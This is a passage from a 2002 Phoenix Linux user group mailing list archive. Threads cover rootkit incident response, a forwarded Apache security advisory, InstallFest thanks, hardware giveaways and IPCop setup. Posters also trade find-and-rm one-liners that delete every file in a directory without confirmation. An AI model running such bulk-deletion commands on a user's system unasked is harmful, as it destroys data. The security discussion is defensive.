SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 19:23:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 22 Jun 2002 12:23:22 -0700 Subject: oops... to many files and can't clean up... References: <200206221905.g5MJ54216418@PlugList.MyButt.Net> <20020622113444.1b8e0cc4.robert@kint.org> Message-ID: <3D14CEAA.B5B629E@leml.asu.edu> "Robert A. Klahn" wrote: > > ... > find . -maxdepth 0 -name "" | xargs rm > # or > find . -maxdepth 0 -name "" -exec rm "{}" ";" # Slower doh! should have thought about find... My biggest concern was roaching the file system. Used to be that you had a max number of files you could put in a single cylinder groub, but appearently that has changed. did not know about the -maxdepth switch... interesting. another trick: find . -type f -exec rm {} \; will also not remove directories but just files. Thanks again... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 20:21:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Sat, 22 Jun 2002 13:21:29 -0700 Subject: possible LKM rootkit infection In-Reply-To: <1024726235.5129.11.camel@dhcp159.area31.viawest.net> References: <1024726235.5129.11.camel@dhcp159.area31.viawest.net> Message-ID: <20020622202131.CGQR24965.fed1mtao02.cox.net@there> did that. the processes did disappear. since that point, I have been clean (so to speak). still, I think its time that I simply installed a newer version of the OS. Technomage On Friday 21 June 2002 11:10 pm, you wrote: > If chkrootkit says there are process's running that ps isn't showing - > it's probably right. Stop all services that have the posibility of > spawning child procces's quickly (apache etc) and run again. If it > still shows up, most likely someone has you. The new rootkits are > getting pretty complex in how they work, and with a trojan kernel module > nearly anything is possible. > > I'd attach a sniffer to log _all_ traffic, possibly using snort to get a > handle on it if it's a lot. > > I worked on a box that was hacked with suckit, one of the better LKM > trojans. Only real way to fix it was to format/reinstall. RPM wasn't > showing any problems with the procps (ps, ls etc.) rpm because the LKM > was intercepting those calls at the kernel level. Took a sniffer and > several days to figure out it was owned, as the box behaved normally. > Seems the person was using it as a jumping point, running a scan of > random netblocks. > > You might have some success booting with a rescue dist (tomsbrt works > good), and looking for some directories that shouldn't be there. suckit > defaults to something in /dev/(can't remember where - check phrack..48?) > > -dallas > > On Wed, 2002-06-19 at 16:15, Matt Alexander wrote: > > It's possible that those mystery processes only ran one time and covered > > up their activity afterwards, or maybe they run at some regular interval, > > who knows. Personally, I would sleep better at night after rebuilding > > the box. Also, I would recommend that you have different passwords for > > different sites. You don't want a security hole at one site completely > > opening your boxes at another site (as was the case with you). It's even > > better if each box has a different password from all the others. ~M > > > > On Wed, 19 Jun 2002, technomage wrote: > > > according to the "last" command, he logged in as a user on one of my > > > accounts and was on for 6 minutes. > > > > > > I checked elsewhere and found that there had been no other activity > > > (even to checking the backups of some of the history files that are > > > made each hour). > > > > > > after than, I checked to make sure there weren't any outbound > > > connections to his IP range (there weren't). I used a clean box as a > > > sniffer for this. I then proceeded to change all system passwords and > > > user account passowrds. Then, I loaded clean versions of rpm, etc and > > > proceeded to do a package verification. I even did md5 checksum > > > comparisons and sig checking. > > > > > > I checked with a couple of folks I know in the computer security field > > > (one of whom is currently serving duty with the US navy at their > > > fascility in southern california (the USN Naval Post Graduate School). > > > Given information from him (and others), I made an assumption that the > > > intruder hadn't gotten very far into my system, and that since all > > > passwords were changed immediately following the incident AND that the > > > offending ip range (ns.rotind.ro) was placed in iptables as immediate > > > drop, I saw no other incursions until yesterday evening. > > > > > > what I find odd is that the incursion didn't stick. said "invisible > > > processes" that wer recorded before aren't there now. > > > > > > just as a measure, I also made sure that my system has current patches > > > for apache (which I do run a webserver here on port 8000) and I've > > > tested any cgi scripts and other things using a tool called nessus. > > > > > > so far, after the last 12 hours, I can't seem to find any evidence that > > > an incursion (intrusion) has taken place other than that 1 log entry > > > written by chkrootkit that one time. > > > > > > so, I'm at a loss. am I trojaned or not? > > > > > > Technomage > > > > > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > > > --- technomage wrote: > > > > > ok, > > > > > > > > > > > > > > > > > as a safety measure when I first found an intruder on my system > > > > > some weeks back, I changed all passwords, ran chattr +ui on some > > > > > specified directories > > > > > > > > > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even > > > > though you changed the passwords, etc, there may have already been > > > > someting in place that passed that info back to the intruder. Any > > > > idea on how long the intruder had access to your system? > > > > > > > > Personally, I would cut my loses - print (yes print) any config files > > > > that you want to re-implement, wipe the box and re-install from > > > > scratch. > > > > > > > > Or > > > > > > > > if you have the disk to spare, rebuild the system on a new disk. > > > > Once done, mount up the old disk - dont run anything from it - and > > > > give it a thorough going over - see if you can figure out what was > > > > done to compromise the system. > > > > > > > > __________________________________________________ > > > > Do You Yahoo!? > > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > > http://fifaworldcup.yahoo.com > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > -- > > > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > > > numbered! > > > My life is my own - No. 6 > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:31:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Wed, 19 Jun 2002 12:31:49 -0700 Subject: Free RAM to good home Message-ID: <200206191231.49430.wokan@cox.net> I've got a bunch of 72 pin simms laying around from older upgrades. Anyone with a 486 or really old Pentium/K5/M2 who could use them (more memory for you Masq'ing router I'd guess) is welcome to them. Not sure what their condition or capacity is in most cases. I'm sure I have at least a pair of 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. Write back if interested. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 01:28:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 22 Jun 2002 18:28:55 -0700 Subject: Install Fest Early Thoughts Message-ID: <0206221828550F.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 To everyone who showed up - stand up and pat yourself on the back. Thanks to you it was a GREAT event. More later after the adrenelin rush subsides . . . - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRUkVysk3ywszI1FEQJdegCdF2F3iL5JgfjobDzfKT0lAgjtrjgAn3Wy UcoFbjALHQcbv837nmh8bMpB =Zuin -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 01:27:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Sat, 22 Jun 2002 18:27:26 -0700 Subject: Free RAM to good home In-Reply-To: <200206191231.49430.wokan@cox.net> References: <200206191231.49430.wokan@cox.net> Message-ID: <20020623012726.GT8953@ecloud.org> Sure I could use them. I still use multiple machines which use them. On Wed, Jun 19, 2002 at 12:31:49PM -0700, Digital Wokan wrote: > I've got a bunch of 72 pin simms laying around from older upgrades. Anyone > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > you Masq'ing router I'd guess) is welcome to them. Not sure what their > condition or capacity is in most cases. I'm sure I have at least a pair of > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > Write back if interested. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 02:18:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Sat, 22 Jun 2002 19:18:06 -0700 Subject: Install Fest Early Thoughts In-Reply-To: <0206221828550F.01526@nova.wedge.org> Message-ID: <5.1.0.14.0.20020622191255.00a60d30@localhost> Let me say this. I really enjoyed being there and hearing the presentations as well as seeing so many people attend this function. It was an absolute wonderful event. My hat off to everyone that organized and was able to contribute to this event. I am now looking forward to the next one. It would be great to have someone organize one for the west side. I am very excited about the event today and even shared my excitement with my partner, who has agreed to allow me to implement some much needed changes here at Unity Wave. : ) Progress is great. Kimi Adams Unity Wave At 6/22/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >To everyone who showed up - stand up and pat yourself on the back. Thanks to >you it was a GREAT event. > >More later after the adrenelin rush subsides . . . > >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRUkVysk3ywszI1FEQJdegCdF2F3iL5JgfjobDzfKT0lAgjtrjgAn3Wy >UcoFbjALHQcbv837nmh8bMpB >=Zuin >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 02:52:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Sat, 22 Jun 2002 19:52:35 -0700 Subject: OT: Old Wired and Byte magazines Message-ID: <200206221952.35537@granroth.org> I have a collection of old Wired magazines from '95-'97 (back when Wired mattered) and Byte magazines from '96 up until they died. I don't have room for them anymore so I need to get rid of them.. yet I feel guiltly about just tossing them in the trash. So a question: do you want them or know of anybody/place that might? Do libraries ever take "old" magazines? -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 03:10:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 22 Jun 2002 20:10:49 -0700 Subject: OT: Old Wired and Byte magazines References: <200206221952.35537@granroth.org> Message-ID: <3D153C39.BE283BB1@qwest.net> Bookmans maybe? > I have a collection of old Wired magazines from '95-'97 (back when Wired > mattered) and Byte magazines from '96 up until they died. I don't have > room for them anymore so I need to get rid of them.. yet I feel guiltly > about just tossing them in the trash. > > So a question: do you want them or know of anybody/place that might? Do > libraries ever take "old" magazines? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 04:26:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Julian M Catchen) Date: Sat, 22 Jun 2002 21:26:59 -0700 Subject: OT: Old Wired and Byte magazines In-Reply-To: <200206221952.35537@granroth.org>; from kurt@granroth.org on Sat, Jun 22, 2002 at 19:52:35 -0700 References: <200206221952.35537@granroth.org> Message-ID: <20020622212659.A630@topeka.ph.cox.net> I recently donated a relatively complete set of Linux Journals from the past several years to the Mesa Public Library. They told me they will either place them in their collection or they will sell them to raise funds for the library. I assume you can do the same with any of the Phoenix libraries. julian On 2002.06.22 19:52 Kurt Granroth wrote: > I have a collection of old Wired magazines from '95-'97 (back when Wired > mattered) and Byte magazines from '96 up until they died. I don't have > room for them anymore so I need to get rid of them.. yet I feel guiltly > about just tossing them in the trash. > > So a question: do you want them or know of anybody/place that might? Do > libraries ever take "old" magazines? > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- mail : julian @ catchen.org | ( topeka ) www : http://catchen.org/topeka/ | phx, az sent : Sat Jun 22, 2002 09:25PM MST | The market is a tool, and a useful one. But the worship of this tool is a hollow faith. Far more important than any tool is what you make with it. Many of America's greatest accomplishments stand in complete defiance of the free market: the prohibition of child labor, the establishment of a minimum wage, the creation of National parks. --Eric Schlosser, Fast Food Nation From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 04:30:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sat, 22 Jun 2002 21:30:55 -0700 (PDT) Subject: Install Fest Early Thoughts In-Reply-To: <5.1.0.14.0.20020622191255.00a60d30@localhost> Message-ID: <20020623043055.95459.qmail@web13405.mail.yahoo.com> > be great to have > someone organize one for the west side. Can I get a hallelujah?! __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 05:05:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Sat, 22 Jun 2002 22:05:05 -0700 Subject: OT: Old Wired and Byte magazines References: <200206221952.35537@granroth.org> <20020622212659.A630@topeka.ph.cox.net> Message-ID: <3D155701.4020409@netscape.net> Good idea. I have a collection of Compute! magazines from the 80's as well as other old magazines. The ads in these magazines are really funny now! Radio Shack had an ad for a Model 12 Business Computer for $3499. It had 2 built-in double sided double density 8" disk drives for more than 2.5 million characters of program and data storage. Built in 12" High-resolution monitor displays 24 lines of 80 characters Big 64K memory handles tough jobs And to think that we sent man to the moon on computing power less than that. Julian M Catchen wrote: > I recently donated a relatively complete set of Linux Journals from > the past several years to the Mesa Public Library. They told me they > will either place them in their collection or they will sell them to > raise funds for the library. I assume you can do the same with any of > the Phoenix libraries. > > julian > > > On 2002.06.22 19:52 Kurt Granroth wrote: > >> I have a collection of old Wired magazines from '95-'97 (back when Wired >> mattered) and Byte magazines from '96 up until they died. I don't have >> room for them anymore so I need to get rid of them.. yet I feel guiltly >> about just tossing them in the trash. >> >> So a question: do you want them or know of anybody/place that might? Do >> libraries ever take "old" magazines? >> -- >> Kurt Granroth - "KDE -- Conquer Your Desktop" >> KDE Developer/Evangelist | granroth@kde.org >> http://www.granroth.org | kurt@granroth.org >> >> ________________________________________________ >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >> post to the list quickly and you use Netscape to write mail. >> >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 06:33:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Sat, 22 Jun 2002 23:33:46 -0700 Subject: Free RAM to good home In-Reply-To: <200206191231.49430.wokan@cox.net> Message-ID: If you still have an 8 lying around, let me know. Thanks! -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital Wokan Sent: Wednesday, June 19, 2002 12:32 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Free RAM to good home I've got a bunch of 72 pin simms laying around from older upgrades. Anyone with a 486 or really old Pentium/K5/M2 who could use them (more memory for you Masq'ing router I'd guess) is welcome to them. Not sure what their condition or capacity is in most cases. I'm sure I have at least a pair of 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. Write back if interested. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 06:59:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sat, 22 Jun 2002 23:59:32 -0700 Subject: [Fwd: MDKSA-2002:039-2 - apache update (revised)] Message-ID: <3D1571D4.8080507@deru.com> -------- Original Message -------- Subject: MDKSA-2002:039-2 - apache update (revised) Date: 22 Jun 2002 20:06:22 -0000 From: Mandrake Linux Security Team To: bugtraq@securityfocus.com -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________________________________________________________________ Mandrake Linux Security Update Advisory ________________________________________________________________________ Package name: apache Advisory ID: MDKSA-2002:039-2 Date: June 22md, 2002 Original Advisory Date: June 20th, 2002 Affected versions: 7.1, 7.2, 8.0, 8.1, 8.2, Corporate Server 1.0.1, Single Network Firewall 7.2 ________________________________________________________________________ Problem Description: [ Please note that this advisory supersedes the previous MDKSA-2002:039 and MDKSA-2002:039-1 advisories. ] MandrakeSoft is urging all users of Mandrake Linux to update their Apache installations immediately. What was previously thought to have been a DoS-only condition has now been proven to be more than that; exploitable conditions have been discovered on both 32bit and 64bit platforms. Successful exploitation of this vulnerability may lead to the execution of arbitary code on the server running a vulnerable Apache with the permissions of the web server child process (on Mandrake Linux this is the user "apache"). This can be used to exploit other vulnerabilities that are unrelated to Apache on the local system, and potentially allow the intruder root access. Thanks to Gobbles for proving that this exploitable condition exists. Because there are known exploits in the wild for some platforms, this update should be considered essential and should be performed immediately. All versions of Apache prior to 1.3.26 and 2.0.37 are vulnerable to this problem. MandrakeSoft has provided patched versions of Apache to correct this vulnerability. Also please note that these packages are no different than those provided in MDKSA-2002:039-1 so if you have already updated, there are no new packages to upgrade. ________________________________________________________________________ References: http://httpd.apache.org/info/security_bulletin_20020620.txt http://online.securityfocus.com/news/493 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0392 ________________________________________________________________________ Updated Packages: Linux-Mandrake 7.1: e88a36b186ed910b350ded94ecf017eb 7.1/RPMS/apache-1.3.22-10.1mdk.i586.rpm 084e29eb5ea8f07924bd3c3aaa62e166 7.1/RPMS/apache-common-1.3.22-10.1mdk.i586.rpm 99ee271be857848a76ee4e5ddba164db 7.1/RPMS/apache-devel-1.3.22-10.1mdk.i586.rpm 7419f968d50062a46fdb5c932a4e6a66 7.1/RPMS/apache-manual-1.3.22-10.1mdk.i586.rpm a814f93494464cb1dc17ba363d128ade 7.1/RPMS/apache-mod_perl-1.3.22_1.26-2.1mdk.i586.rpm 8ad5af9470bf2efc5a9500c0ca0dc1f0 7.1/RPMS/apache-modules-1.3.22-10.1mdk.i586.rpm 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1.0.1/RPMS/apache-1.3.22-10.1mdk.i586.rpm 084e29eb5ea8f07924bd3c3aaa62e166 1.0.1/RPMS/apache-common-1.3.22-10.1mdk.i586.rpm 99ee271be857848a76ee4e5ddba164db 1.0.1/RPMS/apache-devel-1.3.22-10.1mdk.i586.rpm 7419f968d50062a46fdb5c932a4e6a66 1.0.1/RPMS/apache-manual-1.3.22-10.1mdk.i586.rpm a814f93494464cb1dc17ba363d128ade 1.0.1/RPMS/apache-mod_perl-1.3.22_1.26-2.1mdk.i586.rpm 8ad5af9470bf2efc5a9500c0ca0dc1f0 1.0.1/RPMS/apache-modules-1.3.22-10.1mdk.i586.rpm fb6de8872a5f8e378df18f7867167202 1.0.1/RPMS/apache-source-1.3.22-10.1mdk.i586.rpm 6657b308799219bb0adcfd7339c3bacc 1.0.1/RPMS/mod_perl-common-1.3.22_1.26-2.1mdk.i586.rpm f1ec2ba965c0217b346b9c43e2d9ec3f 1.0.1/RPMS/mod_perl-devel-1.3.22_1.26-2.1mdk.i586.rpm f743e6702701f49ec7c7226663e94256 1.0.1/RPMS/HTML-Embperl-1.3.22_1.3.4-2.1mdk.i586.rpm 1ec9d40da21ba65855962c4b05b51f2f 1.0.1/SRPMS/apache-1.3.22-10.1mdk.src.rpm 4a21f924efa9b33df29b63838a0bd283 1.0.1/SRPMS/apache-mod_perl-1.3.22_1.26-2.1mdk.src.rpm Single Network Firewall 7.2: 24f79880c17c12b1a0106c210e46ec9e snf7.2/RPMS/apache-1.3.20-5.1mdk.i586.rpm 2b8d3b2b0430b78a49fe172e72e7b5a1 snf7.2/RPMS/apache-common-1.3.20-5.1mdk.i586.rpm d104f95454b1d28035db97df19a6460b snf7.2/RPMS/apache-devel-1.3.20-5.1mdk.i586.rpm 7180b8f52e477f89a68bc27a220d3ab2 snf7.2/RPMS/apache-manual-1.3.20-5.1mdk.i586.rpm d9768de21cd57c828deaa36c63839ba0 snf7.2/RPMS/apache-mod_perl-1.3.20_1.24-5.1mdk.i586.rpm 44f05723dc7d10eb6e5590e34b21ce9a snf7.2/RPMS/apache-mod_perl-devel-1.3.20_1.24-5.1mdk.i586.rpm dc20b172adaa53806cc055b1f8ffe50a snf7.2/RPMS/apache-suexec-1.3.20-5.1mdk.i586.rpm 49e9f481c8cc83fff20309e0f24add2e snf7.2/RPMS/HTML-Embperl-1.3b6-5.1mdk.i586.rpm 5be9ae334cabbd773f43719f2d54853f snf7.2/SRPMS/apache-1.3.20-5.1mdk.src.rpm ________________________________________________________________________ Bug IDs fixed (see https://qa.mandrakesoft.com for more information): ________________________________________________________________________ To upgrade automatically, use MandrakeUpdate. The verification of md5 checksums and GPG signatures is performed automatically for you. If you want to upgrade manually, download the updated package from one of our FTP server mirrors and upgrade with "rpm -Fvh *.rpm". A list of FTP mirrors can be obtained from: http://www.mandrakesecure.net/en/ftp.php Please verify the update prior to upgrading to ensure the integrity of the downloaded package. You can do this with the command: rpm --checksig All packages are signed by MandrakeSoft for security. You can obtain the GPG public key of the Mandrake Linux Security Team from: https://www.mandrakesecure.net/RPM-GPG-KEYS Please be aware that sometimes it takes the mirrors a few hours to update. You can view other update advisories for Mandrake Linux at: http://www.mandrakesecure.net/en/advisories/ MandrakeSoft has several security-related mailing list services that anyone can subscribe to. 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The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 07:38:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sun, 23 Jun 2002 00:38:05 -0700 Subject: Free RAM to good home In-Reply-To: References: <200206191231.49430.wokan@cox.net> Message-ID: <20020623003805.4cb21b9f.wokan@cox.net> I believe I have 3 x 8MB. If you just need one, that leaves me a pair that Shawn can use in his systems. (Assuming he needs pairs.) On Sat, 22 Jun 2002 23:33:46 -0700 "Michelle Lowman" wrote: > If you still have an 8 lying around, let me know. Thanks! > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > Wokan > Sent: Wednesday, June 19, 2002 12:32 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Free RAM to good home > > > I've got a bunch of 72 pin simms laying around from older upgrades. Anyone > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > you Masq'ing router I'd guess) is welcome to them. Not sure what their > condition or capacity is in most cases. I'm sure I have at least a pair of > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > Write back if interested. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 08:05:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 01:05:08 -0700 Subject: IPCop Message-ID: <20020623010508.51cf265c.snoogans@qwest.net> i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. -Robert From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 13:20:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sun, 23 Jun 2002 06:20:24 -0700 (MST) Subject: Install Fest Early Thoughts In-Reply-To: <5.1.0.14.0.20020622191255.00a60d30@localhost> Message-ID: We had a super turnout and a lot of fun. The presentations were well received... more shortly. THANKS to everyone who helped. I was amazed and delighted at everyone helping each other. \\/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 14:04:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sun, 23 Jun 2002 07:04:49 -0700 Subject: Install Fest Early Thoughts In-Reply-To: References: Message-ID: <200206230704.49372.dennisk@sahuaro.f2s.com> On Sunday 23 June 2002 06:20 am, William Lindley wrote: > We had a super turnout and a lot of fun. The presentations were well > received... more shortly. > > THANKS to everyone who helped. I was amazed and delighted at everyone > helping each other. > > \\/ > I second Bill's comments! My German friend Wolfgang, who drive all the way from Goodyear (115th Ave & Buckeye) and is new to Linux was delighted with the help he was able to receive even though there weren't any SuSE experts there. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 14:18:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (G.D.Thurman) Date: Sun, 23 Jun 2002 07:18:31 -0700 (MST) Subject: Install Fest Early Th In-Reply-To: Message-ID: On Sun, 23 Jun 2002, William Lindley wrote: > We had a super turnout and a lot of fun. > The PLUG GNU/Linux InstallFest was great. PLUG Members need to be congratulated on doing an excellent job. Last year the PLUG helped bring RMS to our Valley -- this year they pull off an InstallFest. It was a honor for SCC to have so many good computer professionals on its campus today. Here is a small collection of pictures. http://inficad.com/~thurmunit/plug/installfest/ Thurman [Thanks for the red hat.] From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 15:23:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Sun, 23 Jun 2002 08:23:39 -0700 (PDT) Subject: Install Fest Early Thoughts Message-ID: <20020623152339.5110.qmail@web10605.mail.yahoo.com> Hello Everyone- I just wanted to say I had a good time at Installfest. I want to especially thank Kevin O. and Chris for helping me with Mandrake. It's up and running smooth...:-) I also want to thank Paul for getting me setup with Java/Tomcat...It would have taken me weeks to get it together. :-) This was my first time I attended an actual meeting. I really think it's great, becuase everyone is so enthusiastic and very knowledgeable about Linux. Everyone made me feel welcome. I'm looking forward to see you all at the next PLUG meeting. Perhaps the next Installfest, I'll be able to know enough to help Linux newbies too... ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 16:40:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 23 Jun 2002 09:40:41 -0700 (PDT) Subject: Install Fest Early Th In-Reply-To: Message-ID: These pics are great. Anyone else have some too? We should have an area of the PLUG site to archive pictures like this. ~M On Sun, 23 Jun 2002, G.D.Thurman wrote: > On Sun, 23 Jun 2002, William Lindley wrote: > > > We had a super turnout and a lot of fun. > > > The PLUG GNU/Linux InstallFest was great. > > PLUG Members need to be congratulated on > doing an excellent job. Last year the > PLUG helped bring RMS to our Valley -- > this year they pull off an InstallFest. > > It was a honor for SCC to have so many good > computer professionals on its campus today. > > Here is a small collection of pictures. > http://inficad.com/~thurmunit/plug/installfest/ > > Thurman [Thanks for the red hat.] > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 16:53:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Childers) Date: Sun, 23 Jun 2002 09:53:24 -0700 Subject: My first meeting. Message-ID: <002201c21ad6$7ddb9020$0100a8c0@dilbert> This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C21A9B.D0807DD0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I just wanted to say that I had a blast on Saturday. It was my first PLUG meeting although I have been using Linux for about = 10 years (since Slackware 1.0). I walked in expecting to learn more = about turning my desktop to Linux, since all I have done with Linux so = far has been servers and routers. I found a guy named Matt that was = installing Slackware 8.0 and started talking to him and eventually = helped him install.=20 To make a long story short, with 